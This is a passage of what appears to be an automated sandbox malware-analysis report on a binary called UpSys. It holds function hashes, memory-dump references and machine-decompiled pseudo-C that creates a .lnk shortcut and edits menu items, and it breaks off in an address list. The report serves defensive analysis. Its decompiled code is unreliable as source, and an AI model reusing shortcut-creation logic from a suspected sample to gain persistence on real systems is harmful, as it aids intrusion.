                                                                                                                                                                                                        • Opcode ID: 27078ab994d2be847885ab940f79c780fdea2746bd484ca6c004b5fd6d53ec45
                                                                                                                                                                                                        • Instruction ID: bce6cb04f7adb7712157f5f3506760f617d55a0f534b4ec709817670c52b153c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 27078ab994d2be847885ab940f79c780fdea2746bd484ca6c004b5fd6d53ec45
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A9119232204A4481EB639F26E8547EA6360FB8CBC4F448121AB8D076B9DF7DC5C9C750
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140040590 Relevance: 7.5, APIs: 5, Instructions: 36sleepCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: PerformanceQuery$CounterSleep$Frequency
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2833360925-0
                                                                                                                                                                                                        • Opcode ID: ebada4367d7a94a6b626cc8d118fefc23a83d835ba55ed9d3a7e56528f087ad5
                                                                                                                                                                                                        • Instruction ID: 0459b2b798c5a0b789f71c762644c9f986c10a4022efe76777231d0e02fca7f8
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ebada4367d7a94a6b626cc8d118fefc23a83d835ba55ed9d3a7e56528f087ad5
                                                                                                                                                                                                        • Instruction Fuzzy Hash: B601A232210E0186EB578B32A4657AE9321ABDA7C0F118225F74FB34B6DF38C4958A04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014003CBF0 Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 2625713937-0
                                                                                                                                                                                                        • Opcode ID: 5f93f7e81b517977c06c09dc8b727a981bf3bd2d0d40833f2890d75fe7880eaa
                                                                                                                                                                                                        • Instruction ID: ed008b70898f88b6b9a4527096f3ef043a956361cfc6614cfa274eaee4e1f0de
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5f93f7e81b517977c06c09dc8b727a981bf3bd2d0d40833f2890d75fe7880eaa
                                                                                                                                                                                                        • Instruction Fuzzy Hash: CB014475224B4082FB7B4B2BF95C7A52361A74DBE4F185225FB2A472F0CF3C88958300
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140059670 Relevance: 7.5, APIs: 5, Instructions: 32synchronizationthreadCOMMONLIBRARYCODE
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CriticalSection$CloseEnterHandleLeaveLockObjectSingleSyncTerminateThreadWait
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3142591903-0
                                                                                                                                                                                                        • Opcode ID: 347fb87156efa14e04caf61349089356de1d9e0b727390ab172a120229a09aed
                                                                                                                                                                                                        • Instruction ID: 1934e2d749eae1ae6cb369b89c730797509f9cd178983aa7947e638cd24c3074
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 347fb87156efa14e04caf61349089356de1d9e0b727390ab172a120229a09aed
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 69012837605B8497EB12DB16E58439E3370FB88B90F540125EB4E43B65CF38D4AAC740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140050440 Relevance: 7.5, APIs: 5, Instructions: 27threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 179993514-0
                                                                                                                                                                                                        • Opcode ID: 90ffd363b4275b6d9101ec4213d67578e77b59847dc7dbd76264dab0f5c66168
                                                                                                                                                                                                        • Instruction ID: d13de4970c7e19b20f26b6e0a57e23cce2cc75b263dd5334481591d7086c7af2
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 90ffd363b4275b6d9101ec4213d67578e77b59847dc7dbd76264dab0f5c66168
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 57F065B1B3070082FF565BB76848BDD02516B9C7C1F444424BF45036B2DD7D84868A00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140052640 Relevance: 7.5, APIs: 5, Instructions: 27threadCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Thread$CurrentProcessWindow$AttachInputMessageSendTimeout
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 179993514-0
                                                                                                                                                                                                        • Opcode ID: 9563c0760c11f4e61a4e1d50b9c37ae6a5ea3f71ac10609027e5af11fb4491c3
                                                                                                                                                                                                        • Instruction ID: d2e40e48402c884b3226f70ce546784e7e73d50e5137d28905f3a8e3e5fe0a2c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9563c0760c11f4e61a4e1d50b9c37ae6a5ea3f71ac10609027e5af11fb4491c3
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AFF06D71B2060082FF2EAB776C48BEC12916F9DBC1F085034BB4A433B1DD7A84D64A00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140080500 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 225comCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 47%
                                                                                                                                                                                                        			E00000001140080500(signed int __ebx, void* __ecx, void* __edx, signed int __rbx, void* __rcx, void* __rdx, long long __rbp, signed int* __r8, signed int _a8, char _a16, long long _a24, char _a32) {
				void* _v40;
				char _v80;
				long long _v88;
				long long _v96;
				long long _v104;
				char _v112;
				intOrPtr* _v120;
				signed int _v124;
				char _v127;
				char _v128;
				void* _v136;
				signed int _v152;
				signed int _v160;
				signed int _v168;
				void* __rsi;
				void* _t95;
				signed int _t96;
				signed int _t97;
				void* _t99;
				void* _t114;
				intOrPtr _t116;
				signed int _t118;
				signed int _t131;
				signed short _t145;
				intOrPtr* _t168;
				intOrPtr* _t169;
				intOrPtr _t194;
				void* _t251;
				void* _t253;
				signed int* _t256;
				intOrPtr _t270;
				void* _t271;
				void* _t272;

				_t131 = __ebx;
				_a8 = __rbx;
				_a24 = __rbp;
				_t168 =  *((intOrPtr*)(__rdx + 8));
				_t270 =  *((intOrPtr*)(__rdx + 0x10));
				_t251 = __rcx;
				_t256 = __r8;
				_t271 = __rdx;
				_t96 = E00000001140011960(_t95,  *((intOrPtr*)(_t168 + 8)));
				r15d = 1;
				_v112 =  *_t168;
				r9d = r15d;
				_v104 =  *((intOrPtr*)(_t168 + 8));
				r8d = _t272 + 1;
				_v96 =  *((intOrPtr*)(_t168 + 0x10));
				_t169 =  *((intOrPtr*)(_t168 + 0x18));
				_v88 = _t169;
				 *_t169 =  *_t169 + r15d;
				_t194 = _v104;
				_t97 = _t96 | 0xffffffff;
				_v152 = _t97;
				_v160 = _t97;
				_v168 = _t97;
				E0000000114004EE70(__ecx, _t194,  &_v112, L".lnk", _t253, __r8);
				if (_t169 != _t194) goto 0x400805a1;
				_t99 = E00000001140011830(_t194,  &_v112, L".lnk", _t253, _t256);
				__imp__CoInitialize();
				r8d = r15d;
				_v168 =  &_v136;
				__imp__CoCreateInstance();
				if (_t99 >= 0) goto 0x400805eb;
				E00000001140007A40(_t194, _t256, _t253);
				 *_t256 =  *_t256 & 0x00000000;
				_a8 = r15d;
				__imp__CoUninitialize();
				goto 0x40080846;
				E00000001140062190(_v136,  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)))));
				 *((intOrPtr*)( *_v136 + 0xa0))();
				if (_t270 - 2 <= 0) goto 0x40080633;
				E00000001140062190(_v136,  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x10)));
				 *((intOrPtr*)( *_v136 + 0x48))();
				if (_t270 - 3 <= 0) goto 0x40080659;
				E00000001140062190(_v136,  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x18)));
				 *((intOrPtr*)( *_v136 + 0x58))();
				if (_t270 - _t253 <= 0) goto 0x40080683;
				E00000001140062190(_v136,  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x20)));
				 *((intOrPtr*)( *_v136 + 0x38))();
				if (_t270 - 5 <= 0) goto 0x400806af;
				E00000001140062190(_v136,  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x28)));
				r8d = 0;
				 *((intOrPtr*)( *_v136 + 0x88))();
				if (_t270 - 6 <= 0) goto 0x4008077e;
				if (E00000001140011280( *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x30))) == 0) goto 0x4008077e;
				E00000001140062190( *((intOrPtr*)(_t271 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x30)));
				E00000001140001D30( *((intOrPtr*)(_t271 + 8)),  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x30)),  &_v80,  *((intOrPtr*)(_t271 + 8)));
				_t51 = _t251 + 0x110; // 0x111
				_v152 =  &_v127;
				_v160 =  &_a16;
				_v168 =  &_a32;
				_t114 = E0000000114007AF00( &_a32,  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x30)), _t51,  &_v80,  &_v124,  &_v128);
				E00000001140002610(_t114,  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x30)),  &_v80);
				if ((_t131 & 0xffffff00 | _t114 == r15b) == 0) goto 0x4008077e;
				_t116 = _a32;
				_t140 =  !=  ? 4 : 0;
				if (_t116 == 0) goto 0x40080755;
				_t141 = ( !=  ? 4 : 0) | 0x00000002;
				if (_v128 == 0) goto 0x4008075f;
				_t142 = ( !=  ? 4 : 0) | 0x00000002 | r15d;
				if (_t116 != 0) goto 0x4008076a;
				if (_a16 != 0) goto 0x4008076a;
				_t143 = ( !=  ? 4 : 0) | 0x00000002 | r15d | 0x00000006;
				_t144 = (( !=  ? 4 : 0) | 0x00000002 | r15d | 0x00000006) << 8;
				_t145 = (( !=  ? 4 : 0) | 0x00000002 | r15d | 0x00000006) << 0x00000008 | _v124;
				 *((intOrPtr*)( *_v136 + 0x68))();
				if (_t270 - 7 <= 0) goto 0x400807b8;
				_t118 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x38)));
				E00000001140062190(_v136,  *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x28)));
				r8d = _t118;
				 *((intOrPtr*)( *_v136 + 0x88))();
				if (_t270 - 8 <= 0) goto 0x400807dd;
				E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t271 + 8)) + 0x40)));
				 *((intOrPtr*)( *_v136 + 0x78))();
				if ( *((intOrPtr*)( *_v136))() < 0) goto 0x4008082b;
				r8d = r15d;
				if ( *((intOrPtr*)( *_v120 + 0x30))() >= 0) goto 0x4008081e;
				E00000001140007A40( *_v136, _t256,  *_v136);
				 *_t256 =  *_t256 & 0x00000000;
				_a8 = r15d;
				 *((intOrPtr*)( *_v120 + 0x10))();
				goto 0x4008083b;
				E00000001140007A40( *_v136, _t256,  *_v136);
				 *_t256 =  *_t256 & 0x00000000;
				_a8 = r15d;
				E00000001140002610( *((intOrPtr*)( *_v136 + 0x10))(),  *_v136,  &_v112);
				return 0;
			}




































                                                                                                                                                                                                        0x140080500
                                                                                                                                                                                                        0x140080500
                                                                                                                                                                                                        0x140080505
                                                                                                                                                                                                        0x140080519
                                                                                                                                                                                                        0x14008051d
                                                                                                                                                                                                        0x140080521
                                                                                                                                                                                                        0x140080528
                                                                                                                                                                                                        0x14008052b
                                                                                                                                                                                                        0x14008052e
                                                                                                                                                                                                        0x140080533
                                                                                                                                                                                                        0x140080543
                                                                                                                                                                                                        0x14008054c
                                                                                                                                                                                                        0x14008054f
                                                                                                                                                                                                        0x140080558
                                                                                                                                                                                                        0x14008055c
                                                                                                                                                                                                        0x140080561
                                                                                                                                                                                                        0x14008056a
                                                                                                                                                                                                        0x14008056f
                                                                                                                                                                                                        0x140080572
                                                                                                                                                                                                        0x140080577
                                                                                                                                                                                                        0x14008057a
                                                                                                                                                                                                        0x14008057e
                                                                                                                                                                                                        0x140080582
                                                                                                                                                                                                        0x140080586
                                                                                                                                                                                                        0x14008058e
                                                                                                                                                                                                        0x14008059c
                                                                                                                                                                                                        0x1400805a3
                                                                                                                                                                                                        0x1400805bc
                                                                                                                                                                                                        0x1400805c1
                                                                                                                                                                                                        0x1400805c6
                                                                                                                                                                                                        0x1400805ce
                                                                                                                                                                                                        0x1400805d3
                                                                                                                                                                                                        0x1400805d8
                                                                                                                                                                                                        0x1400805dc
                                                                                                                                                                                                        0x1400805e0
                                                                                                                                                                                                        0x1400805e6
                                                                                                                                                                                                        0x1400805fa
                                                                                                                                                                                                        0x140080607
                                                                                                                                                                                                        0x140080611
                                                                                                                                                                                                        0x140080623
                                                                                                                                                                                                        0x140080630
                                                                                                                                                                                                        0x140080637
                                                                                                                                                                                                        0x140080649
                                                                                                                                                                                                        0x140080656
                                                                                                                                                                                                        0x140080661
                                                                                                                                                                                                        0x140080673
                                                                                                                                                                                                        0x140080680
                                                                                                                                                                                                        0x140080687
                                                                                                                                                                                                        0x140080699
                                                                                                                                                                                                        0x1400806a6
                                                                                                                                                                                                        0x1400806a9
                                                                                                                                                                                                        0x1400806b3
                                                                                                                                                                                                        0x1400806cb
                                                                                                                                                                                                        0x1400806d4
                                                                                                                                                                                                        0x1400806e1
                                                                                                                                                                                                        0x1400806eb
                                                                                                                                                                                                        0x1400806f2
                                                                                                                                                                                                        0x140080704
                                                                                                                                                                                                        0x14008071b
                                                                                                                                                                                                        0x140080720
                                                                                                                                                                                                        0x140080730
                                                                                                                                                                                                        0x140080737
                                                                                                                                                                                                        0x140080740
                                                                                                                                                                                                        0x14008074b
                                                                                                                                                                                                        0x140080750
                                                                                                                                                                                                        0x140080752
                                                                                                                                                                                                        0x14008075a
                                                                                                                                                                                                        0x14008075c
                                                                                                                                                                                                        0x140080761
                                                                                                                                                                                                        0x140080765
                                                                                                                                                                                                        0x140080767
                                                                                                                                                                                                        0x14008076f
                                                                                                                                                                                                        0x140080776
                                                                                                                                                                                                        0x14008077b
                                                                                                                                                                                                        0x140080782
                                                                                                                                                                                                        0x140080798
                                                                                                                                                                                                        0x1400807a2
                                                                                                                                                                                                        0x1400807af
                                                                                                                                                                                                        0x1400807b2
                                                                                                                                                                                                        0x1400807bc
                                                                                                                                                                                                        0x1400807ce
                                                                                                                                                                                                        0x1400807da
                                                                                                                                                                                                        0x1400807f5
                                                                                                                                                                                                        0x140080801
                                                                                                                                                                                                        0x14008080c
                                                                                                                                                                                                        0x140080811
                                                                                                                                                                                                        0x140080816
                                                                                                                                                                                                        0x14008081a
                                                                                                                                                                                                        0x140080826
                                                                                                                                                                                                        0x140080829
                                                                                                                                                                                                        0x14008082e
                                                                                                                                                                                                        0x140080833
                                                                                                                                                                                                        0x140080837
                                                                                                                                                                                                        0x14008084b
                                                                                                                                                                                                        0x14008086d

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: CreateInitializeInstanceUninitialize
                                                                                                                                                                                                        • String ID: .lnk
                                                                                                                                                                                                        • API String ID: 948891078-24824748
                                                                                                                                                                                                        • Opcode ID: 7aca6e17eb9b0b50ac75273585c5bd8fa9f9aa9b35888378a0ee12a143810092
                                                                                                                                                                                                        • Instruction ID: fea49fa72a2426c60ff3c5eebb01d02075ba2345c096698a458383224f51726e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 7aca6e17eb9b0b50ac75273585c5bd8fa9f9aa9b35888378a0ee12a143810092
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6BA13776608B8482DB51EF26E49439EA7A4F7C9BD0F548012EF8D47769DF39C984CB40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140062970 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 175windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 63%
                                                                                                                                                                                                        			E00000001140062970(signed long long __edx, void* __edi, void* __eflags, void* __rax, long long __rbx, void* __rdx, long long __rbp, void* __r8, void* __r11, long long _a8, signed int _a16, long long _a24) {
				void* _v40;
				intOrPtr _v56;
				long long _v64;
				signed int _v108;
				char _v116;
				intOrPtr _v120;
				char _v136;
				char _v152;
				void* __rsi;
				void* _t52;
				signed int _t72;
				signed int _t83;
				signed int _t85;
				void* _t92;
				int _t98;
				signed int _t103;
				void* _t110;
				signed int _t111;
				long long _t113;
				signed int _t137;
				signed long long _t138;
				void* _t139;
				long long _t141;
				void* _t150;

				_t150 = __r11;
				_t113 = __rbx;
				_t110 = __rax;
				_a8 = __rbx;
				_a24 = __rbp;
				_t138 = __edx;
				E00000001140015220(__rax, __rbx, __r8);
				E00000001140041880(_t110,  &_v152, _t110);
				r11d = r11d | 0xffffffff;
				_a16 = r11d;
				if (__edi == 5) goto 0x40062bce;
				if (__edi == 6) goto 0x40062bce;
				_t141 = _v152;
				r14d = _t150 + 2;
				if (__edi == 3) goto 0x40062a01;
				if (__edi == 4) goto 0x40062a01;
				_t92 = E000000011400418C0(__edi, 0x400c6b70,  &_a16);
				if (_t92 == 0) goto 0x40062bce;
				_t83 = _a16;
				goto 0x40062a8e;
				_t85 = r11d;
				if (_t92 == 0) goto 0x40062a3b;
				if (_t83 - 3 != r14d) goto 0x40062a6f;
				if ( *_t141 != 0) goto 0x40062a28;
				goto 0x40062a4f;
				E00000001140050C80(_t110,  &_v152);
				goto 0x40062a67;
				if ( *_t141 != 0) goto 0x40062a56;
				E00000001140012600(0x400c6c30, 0x400c6b90);
				goto 0x40062a6f;
				E00000001140050BF0(_t83 - 3, E00000001140050C80(_t110,  &_v152) & 0x000000ff, _t85,  *_t141, _t113, 0x400c6c30, _t139, _t150);
				if ( *((intOrPtr*)(0x400c6b70 + 0x328 + _t138 * 8)) == _t113) goto 0x40062bce;
				if ( *_t141 == 0) goto 0x40062bce;
				_t111 = _t83;
				E00000001140016ED8(_t111, 0x400c6b70);
				_t137 = _t111;
				_t52 = E00000001140041880(_t111,  &_v136, _t137);
				_t19 = _t137 + 0x4c; // 0x4c
				r8d = _t19;
				_v120 = 0x50;
				E00000001140017520(_t52, 0x208, 0,  &_v116, _t137,  &_a16);
				_v116 = 0x11;
				_v64 = _v136;
				_v56 = 0x104;
				r8d = 0;
				_t98 = GetMenuItemInfoW(??, ??, ??, ??);
				if (_t98 == 0) goto 0x40062bc4;
				asm("bt dword [esp+0x48], 0xb");
				if (_t98 < 0) goto 0x40062bc4;
				_t72 = _v108;
				r12d = 0;
				asm("bt ecx, 0xc");
				r12d =  <  ? r14d : r12d;
				if (_t85 >= 0) goto 0x40062b4b;
				if ( *_t141 == 0) goto 0x40062bc4;
				_v116 = 0x10;
				_v64 = _t141;
				_v56 = E00000001140016A44(_t54, _t141);
				goto 0x40062b8f;
				if ((sil & 0x00000040) == 0) goto 0x40062b56;
				if (sil >= 0) goto 0x40062b5e;
				_t103 = r14b & sil;
				if (_t103 == 0) goto 0x40062b66;
				if (_t103 == 0) goto 0x40062b70;
				asm("bt esi, 0x8");
				if (_t103 >= 0) goto 0x40062b7a;
				asm("bts eax, 0x7");
				if ((_t72 & 0x00000008) == 0) goto 0x40062b86;
				if (0 != 0) goto 0x40062b86;
				_v116 = r14d;
				_v108 = (_t72 & 0xfffffffc | 0xb) & 0xfffffff7 | 0x00000008;
				r8d = 0;
				if (SetMenuItemInfoW(??, ??, ??, ??) == 0) goto 0x40062bc4;
				if (0 <= 0) goto 0x40062c03;
				asm("bt esi, 0x9");
				if (0 >= 0) goto 0x40062bf6;
				r8d = 0;
				if (SetMenuDefaultItem(??, ??, ??) != 0) goto 0x40062c03;
				E00000001140041850(E00000001140041850(_t63,  &_v136),  &_v152);
				return 0;
			}



























                                                                                                                                                                                                        0x140062970
                                                                                                                                                                                                        0x140062970
                                                                                                                                                                                                        0x140062970
                                                                                                                                                                                                        0x140062970
                                                                                                                                                                                                        0x140062975
                                                                                                                                                                                                        0x14006298f
                                                                                                                                                                                                        0x140062992
                                                                                                                                                                                                        0x14006299f
                                                                                                                                                                                                        0x1400629a4
                                                                                                                                                                                                        0x1400629a8
                                                                                                                                                                                                        0x1400629b3
                                                                                                                                                                                                        0x1400629bc
                                                                                                                                                                                                        0x1400629c2
                                                                                                                                                                                                        0x1400629c7
                                                                                                                                                                                                        0x1400629ce
                                                                                                                                                                                                        0x1400629d3
                                                                                                                                                                                                        0x1400629ed
                                                                                                                                                                                                        0x1400629ef
                                                                                                                                                                                                        0x1400629f5
